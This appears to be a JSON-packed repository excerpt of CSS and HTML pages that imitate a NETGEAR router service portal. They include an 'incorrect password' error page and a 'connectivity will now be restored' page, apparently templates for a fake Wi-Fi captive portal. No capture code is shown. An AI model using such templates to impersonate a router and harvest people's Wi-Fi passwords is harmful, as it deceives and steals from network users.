width:50%;\n}\n\n.basic-text-menu-pr{\n\t\tborder-collapse:collapse;\n        height:13px;\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Simsun,Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        font-weight:bold;\n        width:50%;\n}\n\niframe{\n        background-color:transparent;\n}\n\n.basic-text-subTitle{\n\t\tborder-collapse:collapse;\n        height:13px;\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor:#69B4CB;\n        font-weight:bold;\n        width:50%;\n}\n\n.basic-text-subTitle-pr{\n\t\tborder-collapse:collapse;\n        height:13px;\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Simsun,Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor:#69B4CB;\n        font-weight:bold;\n        width:50%;\n}\n\n.basic-text-content{\n        font-family:Arial;\n\t\tborder-collapse:collapse;\n      \tfont-size:12px;\n        border-right: 4px;\n        border-right-style:solid;\n        height:13px;\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        width:50%;\n    }\n\n.basic-text-content-pr{\n    font-family:Simsun,Arial;\n\t    border-collapse:collapse;\n  \tfont-size:12px;\n    border-right: 4px;\n    border-right-style:solid;\n    height:13px;\n    border-color:#FFFFFF;\n\tcolor: #404040;\n    width:50%;\n}\n\n.page-table{    \n        margin:0px;\n        font-size:14px;\n        background:-moz-linear-gradient(top,white,rgb(230,230,230));\n        background:-webkit-gradient(linear,left top, left bottom,from(#FFFFFF), to(#E6E6E6)); -webkit-background-origin: padding;-webkit-background-clip:content;\n        border-collapse:collapse;\n                \n        background-color:#C0C0C0;\n        filter: progid:DXImageTransform.Microsoft.Gradient(endColorstr='#E6E6E6', startColorstr='#FFFFFF', gradientType='0');\n       }\n\n.basic-table-seperate-border{\n        border-left-style:solid;\n        border-right-style:solid;\n\t\twidth:320px;\n                height:1px;\n        border-top-style:none;\n        border-bottom-style:none;\n        border-left-width:4px;\n        border-right-width:4px;\n        border-left-color:#FFFFFF;\n        border-right-color:#FFFFFF;\n}\n\n.table-seperate-border{\n       padding-left:10px;\n       padding-right:10px;\n       border-left-style:solid;\n        border-right-style:solid;\n        border-left-width:0px;\n        border-right-width:0px;\n        border-left-color:#808080;\n        border-right-color:#808080;\n}\n\n\n.table-seperate-border2{\n        padding-top:10px;\n        padding-bottom:47px;\n        background-image: url(../img/opmode_topline.gif); \n        background-repeat: no-repeat; \n        background-position: 50% 100%;\n\n        padding-left:10px;\n        padding-right:10px;\n        border-left-style:solid;\n        border-right-style:solid;\n        border-left-width:0px;\n        border-right-width:0px;\n        border-left-color:#808080;\n        border-right-color:#808080;\n}\n\n.scrollpane-table-seperate-border{\n       padding-left:20px;\n       padding-right:5px;\n       border-left-style:solid;\n        border-right-style:solid;\n        border-left-width:0px;\n        border-right-width:0px;\n        border-left-color:#808080;\n        border-right-color:#808080;\n}\n.basic-table-seperate{\n        height:1px;\n        border-color:#D0D0D0; \n        background-color:#D0D0D0;\n        margin-left:15px;\n        margin-right:15px;\n        border:0px;\n        overflow:hidden;\n      \n    }\n.basic-table-seperate-2{\n        height:1px;\n        border-color:transparent;\n        background-color:transparent;\n        margin-left:15px;\n        margin-right:15px;\n        border:0px;\n        overflow:hidden;\n      \n    }\t\n.adv-home-table-seperate{\n        height:1px;\n\t\twidth:615px;\n        border-color:#C0C0C0; \n\t\tborder-style:normal;\n        background-color:#C0C0C0;\n        margin-left:10px;\n        margin-right:10px;\n\t\tborder-bottom-color:#ffffff; \n\t\tborder-top-style:none;\n\t\tborder-left-style:none;\n\t\tborder-right-style:none;\n        border:1px;\n        overflow:hidden;\n      \n    }\n.adv-home-table-seperate-2{\n        height:1px;\n\t\twidth:615px;\n        border-color:#ffffff; \n\t\tborder-style:normal;\n        background-color:#ffffff;\n        margin-left:10px;\n        margin-right:10px;\n\t\tborder-bottom-color:#ffffff; \n\t\tborder-top-style:none;\n\t\tborder-left-style:none;\n\t\tborder-right-style:none;\n        border:1px;\n        overflow:hidden;\n      \n    }\n\n.table-seperate{\n        height:1px;\n\n        border-color:#000000; \n        background-color:#000000;\n        margin-left:15px;\n        margin-right:15px;\n        border:0px;\n        overflow:hidden;\n      \n    }\n\n.box-header-table {\n\t\t\t  border-collapse:collapse;\n\t\t\t  margin-left:5px;\n\t\t\t  background:url('../img/box-header-background.gif') no-repeat;\n}    \n    \n.box-header-table-large {\n\t\t\t  border-collapse:collapse;\n\t\t\t  margin-left:5px;\n              height:43px;\n\t\t\t  background:url('../img/box-header-background-large.gif') no-repeat;\n}\n\n\n.box-header {\n        margin:0px;\n        width:305px;\n        height:17px;\n        vertical-align:top;\n}\n.page-table-bottom-3{\n \n        background-position:0px -14px;\n        height:10px;\n        background-repeat:no-repeat;\n        margin-left:5px;\n        border:0px;\n\t\t    background-color:#FFFFFF;\n    }\n.page-table-bottom-2{\n        background:url(../img/page-table-bottom-2.gif);\n        background-position:0px -4px;\n        font-size:8px;\n        height:8px;\n        background-repeat:no-repeat;\n        margin-left:5px;\n        border:0px;\n    }\n\n.page-table-bottom{\n        background:url(../img/page-table-bottom.gif);\n        background-position:0px -14px;\n        height:10px;\n        background-repeat:no-repeat;\n        margin-left:5px;\n        border:0px;\n\t\t    background-color:#FFFFFF;\n    }\n\n\n.box-header-text{\n        font-family:Arial;\n        padding-left:5px;\n        height:10px;\n        width:340px;\n        color:#E5E5E5;\n        background-position:-35px 0px;\n        font-size:14px;\n\t\tfont-weight:Bold;\n        text-decoration:underline;   \n    }\n    \n.box-header-text-pr{\n        font-family:Simsun,Arial;\n        padding-left:5px;\n        height:10px;\n        width:340px;\n        color:#E5E5E5;\n        background-position:-35px 0px;\n        font-size:14px;\n\t\tfont-weight:Bold;\n        text-decoration:underline;   \n    }    \n\n.warning-text-menu{\n        height:13px;\n        text-decoration:underline;\n        padding-left:20px;\n        border-left: 4px;\n        color:#E77800;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor:#E77800;\n        font-weight:bold;\n        width:60%;\n    }\n\n\n.warning-text-content{\n        border-right: 4px;\n        text-decoration:underline;\n        border-right-style:solid;\n        color:#E77800;\n        height:13px;\n        font-size:12px;\n        border-color:#FFFFFF;\n        width:40%;\n    }\n\t\n.page-table-button{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:16px;\n        width:140px;\n        background: url(\"../img/page-table-button.gif\") no-repeat;\n        background-position:relative;\n\n    }\n\n\n.page-table-button-large{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:32px;\n        width:140px;\n        background: url(\"../img/page-table-button-large.gif\") no-repeat;\n        background-position:relative;\n\n    }\t\n\t\n.page-table-button-left{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:16px;\n        width:140px;\n        background: url(\"../img/page-table-button.gif\") no-repeat;\n        background-position:100% 90%;\n\t\toverflow:hidden;\n\t\tpadding-top:5px;\n\t\tpadding-left:7px;\n    }\n\t\n.page-table-button-right{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:16px;\n        width:140px;\n        background: url(\"../img/page-table-button.gif\") no-repeat;\n        background-position:70% 90%;\n\t\toverflow:hidden;\n\t\tpadding-top:5px;\n\t\tpadding-left:7px;\n    }\n\n.page-table-button-large-left{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:1px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:32px;\n        width:280px;\n        background: url(\"../img/page-table-button-large.gif\") no-repeat;\n        background-position:100% 90%;\n\t\toverflow:hidden;\n\t\tpadding-top:5px;\n\t\tpadding-left:7px;\n\n    }\t\n\t\n.page-table-button-large-right{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:32px;\n        width:140px;\n        background: url(\"../img/page-table-button-large.gif\") no-repeat;\n        background-position:70% 90%;\n\t\toverflow:hidden;\n\t\tpadding-top:5px;\n\t\tpadding-left:7px;\n\n    }\n    \n.page-table-button-gray{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#767676;\n        height:16px;\n        width:140px;\n        background: url(\"../img/page-table-button-gray.gif\") no-repeat;\n        background-position:relative;\n\n    }    \n\n.subhead{\n        height:32px;\n        width:740px;\n        background: url(\"../img/subhead-top.gif\") no-repeat 0px 0px;\n        background-position:relative;\n}\n\n.subhead-bottom{\n        height:29px;\n        width:740px;\n        background: url(\"../img/subhead-bottom.gif\") no-repeat 0px 0px;\n        background-position:relative;\n}\n\n.subhead-text{\n        font-family:Arial;\n        font-size:14px;\n        color:#E5E5E5;\n        font-weight:bold;\n        padding-left:20px;\n        background-position:relative;\n        padding-top:7px;\n}\n\n.subhead-text-menu{\n        height:25px;\n        padding-left:20px;\n        border-left: 1px;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#000000;\n        font-weight:bold;\n        width:18%;\n    }\n\n.subhead-text-context{\n        padding-left:20px;\n        border-right: 1px;\n        border-right-style:solid;\n        height:25px;\n        font-size:12px;\n        border-color:#000000;\n        width:75%;\n    }\n\n.normal-text{\n        font-family:Arial;\n        font-size:12px;\n        color:#404040;\n        text-decoration:none;\n        font-weight:bold;\n        background-position:relative;\n        \n}\n.subtop{\n        font-family:Arial;\n        margin:0px;\n        font-size:12px;\n        width:1050px;\n\n        color:#FFFFFF;\n        font-weight:bold;\n        vertical-align:middle;\n\n}\n.subhead2{\n        font-family:Arial;\n        margin:0px;\n        font-size:16px;\n        background: url(\"../img/subhead2-top_noh.gif\") no-repeat 0px 0px;\n        color:#ADA7D7;\n        font-weight:bold;\n        vertical-align:middle;\n        position: absolute;\n        top: 0px;\n        left: 0px;\n        padding-top:8px;\n        padding-bottom:8px;\n        padding-left:20px;\n}\n\n.subhead2-table{\n\t      zoom:1;\n        width:1050px;\n\t      background-attachment:fixed;\n        padding-right:5px;\n        border-collapse:collapse;\n}\n\n.subhead2-multi-table{\n\t      zoom:1;\n\n\t      background-repeat: no-repeat;\n\t      background-attachment:fixed;\n        border:0px;\n        border-collapse:collapse;\n}\n\n\n.subhead2-text{\n       font-family:Arial;\n        margin:0px;\n        color:#FFFFFF;\n        font-size:12px;\n        background-position:relative;\n        font-weight:bold;\n        vertical-align:middle;\n        padding-top:4px;\n        padding-bottom:4px;\n}\n    \n.subhead2-bottom{\n        height:29px;\n        width:1050px;\n\n        background-position:relative;\n        position:relative;\n        top:-28px;\n        margin-bottom:0px;\n}\n\n.subhead2-text-menu{\n        padding-left:20px;\n        height:20px;\n        border-left: 0px;\n        border-left-style:solid;\n        border-color:#808080;\n    }\n\n.page-body {\n\n        margin:0px;\n\n        background-color:#E5E5E5;\n        overflow:hidden;\n}\n\n.subhead2-text-context{\n        text-align:right;\n        padding-right:20px;\n        border-right: 0px;\n        border-right-style:solid;\n        border-color:#808080;\n    }\n\n.table-round-top-left{\n\t  background-image:url(\"../img/roundtopleft_table.gif\");\n\t  background-repeat:no-repeat;\n\t}\n\n.table-round-top-right{\n\t  background-image:url(\"../img/roundtopright_table.gif\");\n\t  background-repeat:no-repeat;\n\t}\n\n.table-round-bottom-left{\n\t  background-image:url(\"../img/roundbottomleft_table.gif\");\n\t  background-repeat:no-repeat;\n\t  background-position:0px -22px;\n\t}\n\n.table-round-bottom-right{\n\t  background-image:url(\"../img/roundbottomright_table.gif\");\n\t  background-repeat:no-repeat;\n\t  background-position:0px -22px;\n\t}\n\n.table-header{\n\t  background-color:#9d98ff;\n    font-family:Arial;\n    font-size:12px;\n    vertical-align:middle;\n    color:#404040;\n    text-decoration:none;\n    font-weight:bold;\n    background-position:relative;\n\t}\n\t\n.table-content-text{\n    font-family:Arial;\n    font-size:12px;\n    color:#404040;\n    text-decoration:none;\n    font-weight:normal;\n    background-position:relative;\n\t}\n\n.help-frame-div{\n  position:absolute; top:284px;left:10px;\t\n  width:1000px;\n  height:140px;\n\tbackground: #202020;\n\tpadding:10px;\n\tvisibility:hidden;\n\n}\n\n\n.bas-help-frame-div{\n\tposition:absolute; top:284px;left:10px;\n  width:600px;\n  height:140px;\n\tbackground: #202020;\n\tpadding:10px;\n\tvisibility:hidden;\n\n}\n\n\n.help-iframe{\n  width:100%;\n  height:140px;\n\tbackground: #202020;\n\tpadding:0px;\n  position:relative;\t\n}\t\n\n\n.scroll-pane\n{\n\t\toverflow: auto;\n\t\t-webkit-overflow-scrolling: touch;\n}\n\n#full-page-container\n{\n    position:absolute; top:0px;left:0px;\n    overflow: hidden;\n}\n\n.cover-image\n{\n    position:absolute;\n    top:0px;\n    left:0px;\n    width:100%;\n    height:100%;\n    z-index:5;\n}\n\n.folderName_ie10\n{\n\tborder-right: inset 1pt;\n}\n\n.subpage-body {\n\n        margin:0px;\n\n        background-color:#FFFFFF;\n        overflow:hidden;\n}\n\n\n"
  },
  {
    "path": "sites/netgear/css/tabs.css",
    "content": "\n\n/* root element for tabs  */\nul.tabs { \n    list-style:none; \n    margin:0px;\n    padding-left:10px;\n    padding-top:5px;\n    height:30px;\n    background-color:#ffffff;\n    font-family:arial;\n    overflow: hidden;\n    white-space: nowrap;\t\n}\n\n/* single tab */\nul.tabs li { \n\t  float:left;\t \n\t  text-indent:0;\n\t  padding:0;\n    margin-left:5px;\n\t  background-color:transparent;\n\t  list-style-image:none !important;\n    display: inline; \n}\n\n\n/* link inside the tab. uses a background image */\nul.tabs a { \n        background: url(../img/tab-nonactive.gif) no-repeat 0;\n\tfont-size:15px;\n\tfont-weight:bold;\n\tdisplay:block;\n\theight: 30px;  \n\tline-height:30px;\n\twidth: 200px;\n\ttext-align:center;\t\n\ttext-decoration:none;\n\tcolor:#4e4e4e;\n\tpadding:0px;\n\tposition:relative;    \n\ttop:0px;\t  \n\ttop: 0px\\9;\n\tfont-family:arial;\n}\n\nul.tabs a:active {\n\toutline:none;\t\t\n\tbackground: url(../img/tab-nonactive.gif) no-repeat 0;        \n}\n\n/* when mouse enters the tab move the background image */\n        \t\t\n\nul.tabs a.current, ul.tabs a.current:hover, ul.tabs li.current a {\n\tbackground: url(../img/tab-active.gif) no-repeat  0;\n\tcursor:default !important; \n\tcolor:#000 !important;\n}\n\n\n\n.firmware-update-hint{\n    background-image:url(\"../img/firmware-hint-background.gif\");\n    background-position:0px -1px;\n    background-repeat:no-repeat;\n    margin-left:40px;\n    margin-top:3px;\n    float:left;\n    width:380px;\n    height: 22px;\n    font-weight:bold;\n    position: relative;\n    right: -350px;\n    top: 33px;\n    z-index:5;\n\n}\n\n\n.firmware-update-hint-short{\n\n    background-position:0px -1px;\n    background-repeat:no-repeat;\n    margin-left:40px;\n    margin-top:3px;\n    float:left;\n    width:380px;\n    height: 22px;\n    font-weight:bold;\n    position: relative;\n    right: -350px;\n    top: 33px;\n    z-index:5;\n\n}\n\n\n\n\n.language-option{\n\tfont-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif;\n  margin-top:4px;\n  margin-bottom:5px;\n  font-size:12px;\n  font-weight:normal;\n\t}\n\nfirmware_update_click a:hover{\n\t   mouse:pointer;\n}\n/* Different widths for tabs: use a class name: w1, w2, w3 or w2 */\n\n/* initially all panes are hidden */ \n.panes .pane {\n\tdisplay:none;\n\n}\n\n\n\n.button-rule span.roundleft_update{\n\tpadding: 4px 0px 15px 20px; \n\tmargin:0px;\n    border:0px;\n\theight:22px; \n\tfont-weight:bold;\n\tbackground: transparent url(\"../img/roundleft_update.gif\") no-repeat left 0px;\n\tcolor:#F2F2F2; \n    cursor: pointer;\n\twhite-space:nowrap;\n}\n\n.roundright_update{\n\tpadding: 4px 5px 15px 0px; \n\tmargin:0px;\n    width:20px;\n    border:0px;\n\theight:22px; \n\tfont-weight:bold;\n\tbackground: url(\"../img/roundright_update.gif\") no-repeat top right;\n\tcolor:#F2F2F2; \n\twhite-space:nowrap;\n    cursor: pointer;\n}\n\n.roundright_update_org{\n\tpadding: 4px 0px 4px 0px; \n\tmargin:0px;\n    width:20px;\n    border:0px;\n\theight:22px; \n\tfont-weight:bold;\n\tbackground: url(\"../img/roundright_update.gif\") no-repeat top right;\n\tcolor:#F2F2F2; \n\twhite-space:nowrap;\n    cursor: pointer;\n}\n "
  },
  {
    "path": "sites/netgear_eng/ayuda.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>NETGEAR-SERVICE</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house1\">\n\t\t\n\t\n\t\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"index.htm\"><font color=\"#7671BF\">BACK TO</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"index.htm\"><font color=\"#7671BF\">HOME PAGE</A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"index.htm\"><font color=\"black\">BACK</A></span>\n\t</div>\n\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/netgear_eng/error.html",
    "content": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n\n        <TR>\n\n          <TD colspan=2></TD>\n\n        </TR>\n        \n        \n  </TR>\n \n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n\n\n<b><font color=\"red\" size=\"3\">ERROR</font>:</b> ERROR</font>:</b> THE INSERTED PASSWORD IS <b>INCORRECT</b> !</b></TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n<tr><td colspan=\"2\" align=\"center\"><form><INPUT name=\"VOLVER\" onclick=\"history.back();return false\" class=\"buttonBig\" type=\"submit\" value=\"VOLVER\"/></form></td></tr>\n\n<tbody><tr><td height=\"50\" width=\"50\"><img src=\"data:image/gif;base64,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\n\" height=\"50\" width=\"50\"></td>\n        </tr>\n      </tbody></table>\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n      </blockquote>\n</BODY>\n\n</HTML>\n"
  },
  {
    "path": "sites/netgear_eng/final.html",
    "content": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n        <TR>\n\n          <TD class=blue colspan=2></TD>\n\n        </TR>\n\n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n          \nYOUR INTERNET CONNECTIVITY WILL NOW BE RESTORED.</TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n</blockquote>\n</BODY>\n\n</HTML>\n\n"
  },
  {
    "path": "sites/netgear_eng/index.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>NETGEAR-SERVICE</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house\">\n\t\t<div style=\"cursor: auto;\" id=\"internet\" class=\"divInternet\">\n\t\t<div class=\"internet\" id=\"iconInternet\" internet_status=\"INTERNET_OK\"></div>\n\t\t<div class=\"internet_txt\">\n\t\t\t<span class=\"trad\" key=\"MAP_INTERNET\"><A href=\"ayuda.htm\"><font color=\"#7671BF\">NETWORK</A></span>\n\t\t\t<span class=\"internet_des trad\" key=\"COMMON_EMPTY\" id=\"internetAlert\"> </span>\n\t\t</div>\n\t</div>\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"ayuda.htm\"><font color=\"#7671BF\">ACCES</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"ayuda.htm\"><font color=\"#7671BF\">DEVICES </A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"ayuda.htm\"><font color=\"white\" >¿HELP?--¿?-</A></span>\n\t</div>\n\n\t\n\t\n\t\n\t\t<div class=\"scroll\">\n<iframe src=\"info.html\" width=\"420\" height=\"300\" align=\"center\">\n\t\t</div>\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/netgear_eng/info.css",
